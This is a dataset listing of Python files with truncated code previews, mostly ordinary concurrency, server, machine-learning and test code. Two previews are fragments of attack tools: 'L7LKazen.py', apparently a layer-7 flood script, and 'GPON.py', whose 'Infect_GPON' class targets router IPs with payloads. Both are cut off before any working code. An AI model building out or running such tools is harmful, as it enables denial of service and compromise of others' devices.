source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
main.py | import json
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from urllib.parse import urlencode, urlparse, parse_qs
from uuid import uuid4
import requests
def load_config():
with open('config.json') as config_file:
return json.load(config_file)
def start_server():... |
L7LKazen.py | #!/usr/bin/python3
#Coded by Kazen
#########################################
# Chiasse #
# Prout #
# Caca #
#########################################
import requests
import socket
import socks
import time
import ra... |
mock_binary_server.py | import threading
import socketserver
import socket
class MockMemSession(socketserver.BaseRequestHandler):
def handle(self):
data = self.request.recv(1024)
self.server.append(data)
self.server.server.basic_handler(self.server.data, self.request)
class MockMemcachedServerInternal(socketser... |
custom.py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... |
h2Replay.py | #!/bin/env python3
'''
'''
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 ... |
lock_tut.py | from threading import Lock, Thread
lock = Lock()
g = 0
def add_one():
"""
Just used for demonstration. It's bad to use the 'global'
statement in general
"""
global g
lock.acquire()
g += 1
lock.release()
def add_two():
global g
lock.acquire()
g += 2
lock.release()
th... |
chatbot.py | from chatterbot import ChatBot
from chatterbot.trainers import ListTrainer
from tkinter import *
import pyttsx3 as pp
import speech_recognition as s
import threading
import pyaudio
engine = pp.init()
voices = engine.getProperty('voices')
bot = ChatBot("Chatterbot")
engine.setProperty('voice', voices[0].... |
pytest_custom_concurrency.py | from threading import Thread, Lock
def pytest_addoption(parser):
group = parser.getgroup("custom", "Custom grouping concurrence for pytest")
group.addoption(
"--concurrent",
action="store",
default="off",
choices=['on', 'off'],
help="Default 'off' for switch, option: on... |
stats_server.py | #!/usr/bin/env python
"""Stats server implementation."""
from __future__ import unicode_literals
import collections
import json
import logging
import socket
import threading
from builtins import range # pylint: disable=redefined-builtin
from future.utils import iteritems
from http import server as http_server
from... |
main.py | from cProfile import label
from cgitb import text
from concurrent.futures import thread
from ctypes import alignment
from distutils import command
from email import message
from faulthandler import disable
from glob import glob
from textwrap import wrap
from tkinter import *
import tkinter
from tkinter.tix import TEXT
... |
test.py | import threading
import time
import logging
logging.basicConfig(
level=logging.DEBUG,
format='[%(levelname)s] (%(threadName)-10s) %(message)s',
)
def worker():
print threading.currentThread().getName(), 'Starting'
time.sleep(2)
print threading.currentThread().getName(), 'E... |
main.py | import sys
from PyQt5.QtWidgets import *
from tabbed_screen.tabbed_screen import TabbedScreen
from second_screen_pack.barset_generator import generate_barset_forever
from threading import Thread
def main():
app = QApplication(sys.argv)
ex = TabbedScreen()
ex.show()
sys.exit(app.exec_())
if __name__ =... |
MainWnd.py | # coding:utf-8
from threading import Thread
import wx
import HostOps
import FileType
from transport import SSHExecuteError
from common import CmdID, PostEvent, my_EVT_COMMAND_EVENT, MessageBox
from Dialogs import DlgConnect
from CtrlWnd import myToolBar
from FileListWnd import FileListWnd
from TaskListWnd import TaskL... |
callVar.py | import sys
import os
import time
import argparse
import param
import logging
import numpy as np
from threading import Thread
from math import log
logging.basicConfig(format='%(message)s', level=logging.INFO)
num2base = dict(zip((0, 1, 2, 3), "ACGT"))
base2num = dict(zip("ACGT", (0, 1, 2, 3)))
v1Type2Name = dict(zip((0... |
test_redis_ut.py | import time
import pytest
from threading import Thread
from pympler.tracker import SummaryTracker
from swsscommon import swsscommon
from swsscommon.swsscommon import DBInterface, SonicV2Connector, SonicDBConfig
existing_file = "./tests/redis_multi_db_ut_config/database_config.json"
@pytest.fixture(scope="session", au... |
example.py | from __future__ import division
from __future__ import print_function
import re
import sys
from google.cloud import speech_v1p1beta1 as speech
import pyaudio
from six.moves import queue
from kivy.app import App
from kivy.uix.widget import Widget
from kivy.properties import NumericProperty, ReferenceListProperty,\
... |
segment.py | import argparse
import json
import logging
import os
import threading
from os.path import exists, join, split, dirname
import time
import numpy as np
import shutil
import sys
from PIL import Image
import torch
import torch.utils.data
from torch import nn
import torch.backends.cudnn as cudnn
from torch.autograd impor... |
test_config.py | # -*- coding: utf-8 -*-
'''
Test fixtures for the napalm-logs profiles.
'''
from __future__ import absolute_import
# Import python std lib
import os
import json
import time
import socket
import logging
from multiprocessing import Process
# Import third party lib
import zmq
import pytest
# Import napalm-logs pkgs
imp... |
updateCheck.py | #updateCheck.py
#A part of NonVisual Desktop Access (NVDA)
#This file is covered by the GNU General Public License.
#See the file COPYING for more details.
#Copyright (C) 2012-2016 NV Access Limited
"""Update checking functionality.
@note: This module may raise C{RuntimeError} on import if update checking for t... |
manager.py | from dataclasses import dataclass
import logging
import threading
import time
import traceback
from pathlib import Path
from typing import Any, Callable, Dict, List, Optional, Set, Tuple, Iterator
from concurrent.futures.thread import ThreadPoolExecutor
from blspy import G1Element
from chiapos import DiskProver
from ... |
client_master_manager.py | # import logging
# import multiprocessing
# import os
# import platform
# import sys
# import time
# import uuid
# import json
# from ...model.mobile.model_transfer import mnn_pytorch
# sys.path.insert(0, os.path.abspath(os.path.join(os.getcwd(), "../../../")))
# sys.path.insert(0, os.path.abspath(os.path.join(os.ge... |
cloud_firestore.py | """This module houses the Cloud Firestore functions.
It provides methods to read,write and listen for data changes.
"""
from datetime import datetime, timedelta
from socket import gethostname
from threading import Lock, Thread, active_count
from components.paths import rel_to_base
import firebase_admin
from firebase... |
sio.py | # -*- coding: utf-8 -*-
#!/usr/bin/env python
# Set this variable to "threading", "eventlet" or "gevent" to test the
# different async modes, or leave it set to None for the application to choose
# the best option based on available packages.
async_mode = None
if async_mode is None:
try:
import eventlet
... |
gen_data.py | import ray
import auth
import util
import solver
import time
import threading
import collections
import sutil
from queue import PriorityQueue, Queue
import traceback
import tempfile
import os
import uuid
import random
import numpy as np
import tensorflow as tf
from tftd import TFTD, tftd_to_example, tfd_to_tftd
from su... |
SOM_result_v2.py | import math
import os
import traceback
import D_PostProcessSOMResults.SOM_result_loader as SOM_result_loader
import D_PostProcessSOMResults.SOM_result_neuron_entry as SOM_result_neuron_entry
from D_PostProcessSOMResults.SOM_results_constants import *
from D_PostProcessSOMResults.expected_karyotype_loader import Expect... |
callbacks.py | import os
import tempfile
import time
from copy import deepcopy
from functools import wraps
from threading import Thread
from typing import Optional
import optuna
from sb3_contrib import TQC
from stable_baselines3 import SAC
from stable_baselines3.common.callbacks import BaseCallback, EvalCallback
from stable_baseline... |
fetch_screener_ib.py | import os
import sys
sys.path.append(os.path.join(os.getcwd().split('xtraderbacktest')[0],'xtraderbacktest'))
import datetime
import inspect
import time
import os.path
import json
import pandas as pd
import threading
import socketserver
import csv
import pytz
# IB Relevant
from ibapi import wrapper
from ibapi import u... |
__init__.py | from crowdfunding import crowdfunding
import threading
import queue
'''
crowdfunding: Main module
Copyright 2016, Kieran Roberts
Licensed under MIT.
'''
def enthread(target):
q = queue.Queue()
def wrapper():
q.put(target())
t = threading.Thread(target=wrapper)
t.start()
return q
def main(... |
test_urllib.py | """Regression tests for what was in Python 2's "urllib" module"""
import urllib.parse
import urllib.request
import urllib.error
import http.client
import email.message
import io
import unittest
from unittest.mock import patch
from test import support
import os
try:
import ssl
except ImportError:
ssl = None
imp... |
main_window.py | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including witho... |
test_local_catalog.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
D.py | # -*- coding: utf-8 -*-
#cl.login(token='')
#cl.login(qr=True)
import LINETCR
from LINETCR.lib.curve.ttypes import *
from datetime import datetime
import time, random, sys, ast, re, os, io, json, subprocess, threading, string, codecs, requests, ctypes, urllib, urllib2, urllib3, wikipedia, tempfile
from bs4 im... |
GPON.py | import requests, threading, os, time
class Infect_GPON(threading.Thread):
def __init__(self, payload: str, ip: str):
threading.Thread.__init__(self)
self.addr = f'http://{ip}:443'
self.payload = payload
self.send = 0
def run(self):
payloads= [
('/... |
coordinator.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
import gzip
import ipaddress
import json
import multiprocessing
import os
import socket
import struct
import subprocess
import sys
import threading
import time
import fcntl
import numpy as np
import select
import yaml
from typing import L... |
test_basic.py | import copy
import threading
import time
import pytest
from conftest import assert_symbolication
WINDOWS_DATA = {
"signal": None,
"stacktraces": [
{
"registers": {"eip": "0x0000000001509530"},
"frames": [{"instruction_addr": "0x749e8630"}],
}
],
"modules": [
... |
core.py | """
Core components of Home Assistant.
Home Assistant is a Home Automation framework for observing the state
of entities and react to changes.
"""
# pylint: disable=unused-import, too-many-lines
import asyncio
from concurrent.futures import ThreadPoolExecutor
import enum
import logging
import os
import re
import signa... |
Example3.py | from threading import Thread
from time import sleep
def slower(text, time):
sleep(time)
print(text)
t1 = Thread(target=slower, args=('Hello from Thread 1!', 10))
t1.start() # Starting subthread
# Juntando a subthread com a main thread
t1.join()
# Desta forma a main thread vai aguardar o fim da subthread ... |
upnp.py | import logging
import threading
from queue import Queue
from typing import Optional
try:
import miniupnpc
except ImportError:
pass
log = logging.getLogger(__name__)
class UPnP:
thread: Optional[threading.Thread] = None
queue: Queue = Queue()
def __init__(self):
def run():
t... |
keepkey.py | from binascii import hexlify, unhexlify
import traceback
import sys
from electrum.util import bfh, bh2u, UserCancelled, UserFacingException
from electrum.bitcoin import TYPE_ADDRESS, TYPE_SCRIPT
from electrum.bip32 import BIP32Node
from electrum import constants
from electrum.i18n import _
from electrum.transaction im... |
data_utils.py | """
Miscellaneous functions manage data.
Date: September 2018
Author: Ignacio Heredia
Email: iheredia@ifca.unican.es
Github: ignacioheredia
"""
import os
import threading
from multiprocessing import Pool
import queue
import subprocess
import warnings
import base64
import numpy as np
import requests
from tqdm import ... |
util_test.py | # Copyright 2014 Scalyr Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, so... |
inference_embedded.py | # Copyright (c) 2021 Graphcore Ltd. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... |
server.py | """
LoRa Tally Sender
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
from threading import Thread
import time
import busio
from digitalio import DigitalInOut, Direction, Pull
import board
import adafruit_rfm9x
import threading
SERVER_PORT=9868
# Configure LoRa Radio
RADIO_FREQ_MHZ = 868.0
CS = Dig... |
train_abstractive.py | #!/usr/bin/env python
"""
Main training workflow
"""
from __future__ import division
import argparse
import glob
import os
import random
import signal
import time
import torch
from pytorch_transformers import BertTokenizer
import distributed
from models import data_loader, model_builder
from models.data_loader i... |
page_log_example.py | # -*- coding=UTF-8 -*-
# pyright: strict
from __future__ import annotations
if True:
import os
import sys
sys.path.insert(0, os.path.join(__file__, "../../.."))
import datetime
import io
import json
import logging
import random
import threading
import time
import urllib.parse
import webbrowser
from typi... |
client.py | from pyxel import btnp as pyxel_btnp
from pyxel import btnr as pyxel_btnr
from flask import request as flask_request
from threading import Thread
from json import loads as json_loads
from pyxel_server.connection import webhost, webrequest
import pyxel_server.pyxelobj as pyxelobj
class run:
def web(self, app):
... |
pepprocess.py | # This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
from mozprocess import ProcessHandler
from pepresults import Results
from time import sleep
from threading import Thread... |
proxy.py | #!/usr/bin/env python2
# coding:utf-8
# Based on GAppProxy 2.0.0 by Du XiaoGang <dugang.2008@gmail.com>
# Based on WallProxy 0.4.0 by Hust Moon <www.ehust@gmail.com>
# Contributor:
# Phus Lu <phus.lu@gmail.com>
# Hewig Xu <hewigovens@gmail.com>
# Ayanamist Yang <ayanamist@gmail.com>... |
remote.py | ๏ปฟ# -*- coding: utf-8 -*-
#Copyright ยฉ 2021 toinsson
#Copyright ยฉ 2018 Naturalpoint
# Licensed under the Apache-2.0 License, see LICENSE for details.
import sys
import socket
import struct
import threading
from .protocol import MAX_PACKETSIZE, NATNET_PING
from .unpack import Decoder
class NatNetClientRem... |
test_index.py | import pytest
from base.client_base import TestcaseBase
from base.index_wrapper import ApiIndexWrapper
from utils.util_log import test_log as log
from common import common_func as cf
from common import common_type as ct
from common.common_type import CaseLabel, CheckTasks
from common.code_mapping import CollectionErro... |
pabot.py | #!/usr/bin/env python
# Copyright 2014->future! Mikko Korpela
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitsend developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
master.py | # coding=utf-8
from socket import *
from time import ctime
import threading
import time
import argparse
config = 1
old_config = 1
machines = []
epoch_in_machines = []
epoch_in_progress = 0
scaled = []
finishes = []
parser = argparse.ArgumentParser(description='PyTorch Model Parallel Master')
parser.add_argument('--w... |
multipro.py | from multiprocessing import Process, Lock, Value
import board
import neopixel
import time
import sys
import random
qty = 300
#set brightness with the brightness param i.e. brightness=0.01
pixels = neopixel.NeoPixel(board.D18, qty, auto_write=False)
#array that holds the number of pixels of each triangle
triangles = []... |
tests.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# MinIO Python Library for Amazon S3 Compatible Cloud Storage,
# (C) 2015, 2016, 2017, 2018 MinIO, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Lice... |
train_extractive.py | #!/usr/bin/env python
"""
Main training workflow
"""
from __future__ import division
import argparse
import glob
import os
import random
import signal
import time
import torch
import distributed
from models import data_loader, model_builder
from models.data_loader import load_dataset
from models.model_builder im... |
sensorapp.py | #!/usr/bin/env python
"""
pygatt cloud monitoring
=======================
This module implements a cloud monitoring application for home sensors
"""
import argparse
import os
import socket
import ssl
import struct
import sys
import threading
from datetime import datetime
from jinja2 import Environment, FileSystemLoa... |
callbacks_test.py | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
fsfreezer.py | #!/usr/bin/env python
#
# VM Backup extension
#
# Copyright 2014 Microsoft Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# U... |
views.py | from imports import *
from preprocess import *
from mail import *
def allowed_pdf(filename):
if not "." in filename:
return False
ext = filename.rsplit(".", 1)[1]
if ext.upper() in app.config["ALLOWED_EXTENSIONS"]:
return True
return False
@app.route("/", methods=["GET"])
def redirect... |
test_signal.py | import errno
import os
import random
import signal
import socket
import statistics
import subprocess
import sys
import time
import unittest
from test import support
from test.support import os_helper
from test.support.script_helper import assert_python_ok, spawn_python
try:
import _testcapi
except ImportError:
... |
test.py | import sys
import binascii
import struct
import pathlib
from threading import Thread
# Local imports
import pcap
__packet_info = [
(1092256609.9265549, 62),
(1092256609.9265759, 54),
(1092256610.332396, 62),
(1092256610.3324161, 54),
(1092256610.8330729, 62),
(1092256610.8330951, 54)
]
__pack... |
main.py | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""
ๆฌ็จๅบ่ฎพ่ฎกไธบๅพๅฝขๅ็จๅบ
ๆจกๆๅญฆๅคๅคAPP
"""
import base64
import json
from pathlib import Path
import os
import pickle
import threading
import time
import tkinter as tk
import tkinter.messagebox
from tkinter.simpledialog import *
from tkinter import *
from tkinter import filedialog, dialog, t... |
passive_operations.py | #!/usr/bin/env python
#/*******************************************************************************
# Copyright (c) 2012 IBM Corp.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# h... |
pod.py | """
Pod related functionalities and context info
Each pod in the openshift cluster will have a corresponding pod object
"""
import logging
import os
import re
import yaml
import tempfile
import time
import calendar
from threading import Thread
import base64
from ocs_ci.ocs.ocp import OCP, verify_images_upgraded
from ... |
periodic_traffic_generation.py | """
Probability based traffic generator
"""
import os
import threading
import sched
import time
import sys
import random
import subprocess
DESTINATION = str(sys.argv[1])
PACKET_SIZE = int(sys.argv[2])
PERIOD_LENGTH = float(sys.argv[3])
GENERATION_PERIOD= float(sys.argv[4])
RATE_IF_TRANS = int(sys.argv[5])
scheduler =... |
test_memory.py | import ctypes
import gc
import sys
import threading
import unittest
import fastrlock
import cupy.cuda
from cupy.cuda import device
from cupy.cuda import memory
from cupy.cuda import stream as stream_module
from cupy import testing
class MockMemory(memory.Memory):
cur_ptr = 1
def __init__(self, size):
... |
custom.py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... |
metrics.py |
"""
Helper functions to compute all metrics needed
"""
import numpy as np
import scipy.sparse as sp
import logging
from six.moves import xrange
from collections import OrderedDict
import sys
import pdb
from sklearn import metrics
from threading import Lock
from threading import Thread
import torch
import math
from pdb... |
io.py | # Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
equipment_alarm_min_max_redis.py | # encoding: utf-8
import datetime
import json
import logging
import sys
import threading
import time
from logging.handlers import TimedRotatingFileHandler
from queue import Queue
import psycopg2.extras
import redis
import requests
from influxdb import InfluxDBClient
def getLogger(fileName: str, name='mylogger', leve... |
master.py | import copy
import logging
import os
import threading
import time
from hp_transfer_optimizers.core._dispatcher import Dispatcher
from hp_transfer_optimizers.core.result import Result
class Master:
def __init__(
self,
run_id,
working_directory=".",
ping_interval=60,
nameser... |
temp_sensor_simulator.py | import threading
from time import sleep
import random
class SimulatorSensor:
def __init__(self, read_interval):
self.thread = threading.Thread(target=self._read_temp_thread)
self.read_interval = read_interval
self.temperature = 15
random.seed(496294)
self.thread.start()
... |
WebService.py | #!/usr/bin/env python
# coding: utf-8
"""
@api {post} stop_download ๅๆญขไธ่ฝฝไปปๅก
@apiGroup iOS
@apiName stop_download
@apiPermission iOS
@apiVersion 1.0.0
@apiDescription ๆ
@apiParam {String} request_id ไธ่ฝฝไปปๅก id
@apiSampleRequest http://0.0.0.0:52080/stop_download
@apiParamExample {json} Request-Example:
{"... |
build.py | # -*- coding: utf-8 -*-
"""
Created on Sun Jun 25 22:58:30 2017
@author: Winand
https://pythonspot.com/en/create-a-chrome-plugin-with-python/
"""
from pathlib import Path
import shutil
import threading
import win32file
import win32con
import winnt
import time
from pyscript import script2js, parser0
import sys
import... |
plot_mode_base.py | from pyglet.gl import *
from plot_mode import PlotMode
from threading import Thread, Event, RLock
from color_scheme import ColorScheme
from sympy.core import S
from sympy.core.compatibility import is_sequence
from time import sleep
from sympy.core.compatibility import callable
class PlotModeBase(PlotMode):
"""
... |
GridEyeKit.py | # -*- coding: utf-8 -*-
"""
Created on Sun Sep 06 18:17:12 2015
@author: 70E0481
"""
import serial
import sys
import struct
import numpy as np
import threading
from Queue import Queue
import glob
from time import sleep
class GridEYEKit():
def __init__(self):
self._connected = False
... |
eventlet.py | """A eventlet based handler."""
from __future__ import absolute_import
import contextlib
import logging
import eventlet
from eventlet.green import select as green_select
from eventlet.green import socket as green_socket
from eventlet.green import time as green_time
from eventlet.green import threading as green_thread... |
main.py | import contextlib
import io
from threading import Lock, Thread
from com.shbak.effective_python._01_example._56_when_need_concurrent.main import Grid, step_cell
ALIVE = '*'
EMPTY = '-'
class LockingGrid(Grid):
def __init__(self, height, width):
super().__init__(height, width)
self.lock = Lock()
... |
parallel.py | # Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may not
# use this file except in compliance with the License. A copy of the License
# is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file acc... |
run-tests.py | #!/usr/bin/env python
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "Li... |
plexmediacast.py | import logging
import traceback
from threading import Thread
from flask import Flask, json
from pychromecast.controllers.plex import PlexController
import config
import pmshelper as pms
from devicecache import DeviceCache
from mediatype import MediaType
from pmshelper import MismatchedLibrariesError
from util import ... |
Utils.py | """
Cython -- Things that don't belong
anywhere else in particular
"""
from __future__ import absolute_import
try:
from __builtin__ import basestring
except ImportError:
basestring = str
try:
FileNotFoundError
except NameError:
FileNotFoundError = OSError
import os
import sys
import re
imp... |
config_collector.py | #!/usr/bin/env python3
"""
A simple script to collect starting/running config and versions, put them into the file.
Store results in the file.
Files:
config_collector.py - main script
connect_to_device.py - includes functions: ping and connect SSH/Telnet to the device
devices.csv - list of IP addresses
devices-result... |
quantize_yolov2-tiny-my-noBN-floor2.py | #!/usr/bin/env python
# --------------------------------------------------------
# Quantize Fast R-CNN based Network
# Written by Chia-Chi Tsai
# --------------------------------------------------------
"""Quantize a Fast R-CNN network on an image database."""
import os
os.environ['GLOG_minloglevel'] = '2'
import _... |
main.py | from flask import Flask, request
import sys, requests, json
from multiprocessing import Process
app = Flask(__name__)
@app.after_request
def add_headers(response):
response.headers.add('Access-Control-Allow-Origin', '*')
response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
ret... |
flask_sample_ws.py | from flask import Flask, abort, request
import signal
import threading
import time
import os
import requests
app = Flask(__name__)
shuttingDown = False
def exit_call():
time.sleep(20)
requests.post("http://localhost:5420/_shutdown")
# os._exit(0)
def exit_gracefully(self, signum):
app.logger.error('... |
test_beeline.py | import threading
import unittest
from mock import Mock, patch, call
import beeline
import libhoney
assert libhoney
class TestBeeline(unittest.TestCase):
def setUp(self):
self.addCleanup(patch.stopall)
self.m_gbl = patch('beeline._GBL').start()
def test_send_event(self):
''' test corre... |
Wessim2.py | import sys
import random
import bisect
import pysam
import gzip
import cPickle
import numpy
from time import time, localtime, strftime
import argparse
from multiprocessing import Process
import os
import math
inds={'A':0,'T':1,'G':2,'C':3,'N':4,'a':0,'t':1,'g':2,'c':3,'n':4}
def subprogram(command, name):
os.system(... |
xbox_one.py | import pygame
from pygame.locals import JOYAXISMOTION, JOYHATMOTION
from pygame.locals import JOYBUTTONUP, JOYBUTTONDOWN
from threading import Thread
### MAPPING
# Left Joystick X: 0
# Left Joystick Y: 1
# Right Joystick X: 2
# Right Joystick Y: 3
#
# Left Trigger: 4
# Right Trigger: 5
#
# A: 6
# B: 7
# X: 8
# Y: 9... |
NoFudges_StreamlabsSystem.py | # -*- coding: utf-8 -*-
#---------------------------
# Import Libraries
#---------------------------
import clr, codecs, json, os, re, sys, threading, datetime, System
# Include the assembly with the name AnkhBotR2
clr.AddReference([asbly for asbly in System.AppDomain.CurrentDomain.GetAssemblies() if "AnkhBotR2" in... |
windows.py | import configargparse
import cPickle as pickle
from ctypes import byref, windll, Structure
from ctypes.wintypes import DWORD
import os
import socket
import SocketServer
import struct
import threading
import time
from collections import OrderedDict
from pydivert.windivert import WinDivert
from pydivert.enum import Dire... |
dockerdnsconnector.py | import threading
from dnslib import A, CLASS, DNSLabel, QTYPE, RR
from dnslib.proxy import ProxyResolver
from dnslib.server import DNSServer
from .dockerwatcher import DockerWatcher, DockerHost
from .interceptresolver import InterceptResolver
from .zoneresolver import ZoneResolver
class DockerDNSConnector:
def ... |
core.py | #!/usr/bin/env python3
import base64
import code
import collections
import datetime
import faulthandler
import functools
import html
import itertools
import os
import pathlib
import random
import shlex
import threading
from urllib import parse as urlparse
import logbook
import msgpack
from gi.repository import GObje... |
test_cli.py | import threading
import time
from unittest.mock import patch
import pytest
from aria2p import cli
from . import BUNSENLABS_MAGNET, SESSIONS_DIR, TESTS_DATA_DIR, Aria2Server
def out_lines(cs):
return cs.readouterr().out.split("\n")
def err_lines(cs):
return cs.readouterr().err.split("\n")
def first_out_... |
app.py | """app.py: Create a web app that will run locally on port 5000 by default.
Will provide info and monitoring functionality on the web pages."""
# Import os, subprocess and sys libraries to call other scripts.
# Import threading to do multi-threading.
# Import Flask to use the micro framework for the app.
im... |
train.py | import sys
import time
from multiprocessing import Process, Queue
import yaml
import numpy as np
import zmq
import pycuda.driver as drv
sys.path.append('./lib')
from tools import (save_weights, load_weights,
save_momentums, load_momentums)
from train_funcs import (unpack_configs, adjust_learning_ra... |
random_job2.py | import task_submit
from task_submit import VGGTask,RESTask,RETask,DENTask,XCETask
import random
import kubernetes
import influxdb
import kubernetes
import requests
from multiprocessing import Process
import multiprocessing
import urllib
import urllib3
import time
import os
import json
import math
import pandas as pd
im... |
test_dataloader.py | # Owner(s): ["module: dataloader"]
import math
import sys
import errno
import multiprocessing
import os
import ctypes
import faulthandler
import torch
import gc
import time
import signal
import unittest
import itertools
import warnings
import tempfile
from torch import multiprocessing as mp
from torch.utils.data impor... |
worker.py | from contextlib import contextmanager
import atexit
import faulthandler
import hashlib
import inspect
import io
import json
import logging
import os
import redis
import sys
import threading
import time
import traceback
from typing import Any, Callable, Dict, Iterator, List, Optional, Tuple, Union
# Ray modules
from ra... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.